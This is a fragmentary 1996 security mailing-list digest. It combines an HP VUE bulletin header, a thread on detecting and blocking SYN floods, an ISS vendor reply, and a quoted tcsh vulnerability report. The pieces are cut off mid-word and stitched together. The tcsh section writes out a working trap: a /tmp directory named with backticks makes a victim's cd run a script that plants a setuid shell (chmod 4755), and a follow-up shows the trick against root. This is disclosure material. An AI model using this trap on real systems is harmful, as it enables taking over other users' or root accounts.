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HPSBUX9609-038 Security Vulnerability in HP VUE3.0

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Document Id: [HPSBUX9609-038]
Date Loaded: [09-12-96]
Description: Security Vulnerability in HP VUE3.0
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HEWLETT-PACKARD SECURITY BULLETIN: HPSBUX9609-038,  10 September 1996
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PROBLEM:  Using Vue 3.0 on only HP-UX releases 10.01 and 10.10 it is
          possible to increase privileges and launch denial of service
          attacks.
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Subject: BoS: Tool for stopping SYN floods
To: route@onyx.infonexus.com
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> | With the routers for most ISP, they should be blocking any non-internal
> | addresses from leaving their network and going to the Internet. This will
> | stop an attacker if their ISP implements this.  Unfortunately, this does
> | not stop an attack from areas on the Internet that do not block that. But
 key part is doing
careful traffic analysis.  Any type of denial of service attack, no matter
how random the headers, will fit into a very specific category.  In fact, the
randomness of the header can be a signature in itself.
> 	Neither of these are ideal.  The first scenario destroys the anonimity
> 	of the attack.  The second is adds much complexity to an otherwise 
> 	simple DOS attack.
 
Both of them destroy the anonyminity of the attack by limiting the source of
the attack to one very specific network.  At the present, attacks have to be
traced back through the NAPs.  This requires manual analysis, time, and extra
YN floods:
> 
>Kernel mod or daemon that will:
> -listen for all incoming SYNs
> -keep a list of the x most recent incoming SYNs (x=backlog?)
This is already done to handle the incoming requests.
> -if x amount of connection-requests take more than y amount of time
> to complete and(other heuristics)
This is what the mentioned product does (among other things).
> 	-x SYNs arrived in z time relative to each other.
> 	-x SYNs have a,b,c features in common (source IP addr,TTL,port,seq#)
> 	-etc...

T
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ic consumption:
> 
> I feel it is highly suspicious that you should release tool for RST'ing SYN
> flooding attacks, at roughly the same time a hacker magazine (which one of
> your employees edits) releases code for the above mentioned attacks.
Have you considered that maybe the bumped up the production schedule to get
something out to protect against it. Also note the evaluation is FREE!!!!!
(although I expect they will over charge for it like their other products).
> 
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------
jim# whoami
root
jim# echo $SHELL
/bin/bash
jim# I just like to check that sometimes.
jim# Hey, I'm bored maybe I'll check /tmp for some neato stuff
jim# cd /tmp
jim# ls
`source .WaReZ`
jim# OH BOY!!! the jack pot!
jim# cd *WaReZ*
jim# ls
jim# oh, oh well maybe I'll check later...
jim# cd
----------------------------Cut to More Bad guy--------------------------
jim% bash
#whoami
root
# hah.
---------------------------End Unix Parable-------------------------------
On Fri, 13 Sep 1996, test wrote:
>A vulnerability exists in tcsh (tcsh 6.05, or the one that's being handed
>out with BSDI anyway.) that allows the execution of arbitrary commands
>when changing into directories that are enclosed with back tic's.  The
>problem might also prove to be quite bad to tcsh scripts that find
>themselves changing into directories on the fly.
>
>Here is probably one of the dumbest methods possible that could be used to
>exploit this weakness.
>
>----------------------------Cut to Bad guy--------------------------------
>
>jim% whoami
>Evol bad guy
>jim% mkdir /tmp/\`source\ .WaReZ\`
>jim% echo echo #\\\!/bin/sh \> .\$\$ > /tmp/*W*/.WaReZ
>jim% echo echo sh \> .\$\$ >> /tmp/*W*/.WaReZ
>jim% echo chmod 4755 .\$\$ >> /tmp/*W*/.WaReZ
>jim% chmod +x /tmp/*W*/.WaReZ
>
>---------------------------Cut to unsuspecting foo------------------------
>
>jim% whoami
>Unsuspecting foo
>jim% echo $SHELL
>/bin/tcsh
>jim% I just like to check that sometimes.
>jim% Hey, I'm bored maybe I'll check /tmp for some neato stuff
>jim% cd /tmp
>jim% ls
>
>`source .WaReZ`
>
>jim% OH BOY!!! the jack pot!
>jim% cd *WaReZ*
>jim% ls
>
>jim% oh, oh well maybe I'll check later...
>jim% cd $HOME
>
>----------------------------Cut to More Bad guy--------------------------
>
>jim% ls -a /tmp/*W*/
>
>.
>..
>.24753
>
>jim% /tmp/*W*/.24753
>$whoami
>unsuspecting foo
>$ hah.
>---------------------------End Unix Parable-------------------------------
>
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ISS has been developing the technology for real-time attack recognition
and response (RealSecure) for over twelve months.  In collabaration with
our customers, universities, and our partners, ISS has undertaken a
significant investment in time and resources to deliver a comprehensive
tool to detect numerous kinds of attacks, only one of which is the SYN
d the (heavily UNIX-inclined) 
>security guys :-)
>
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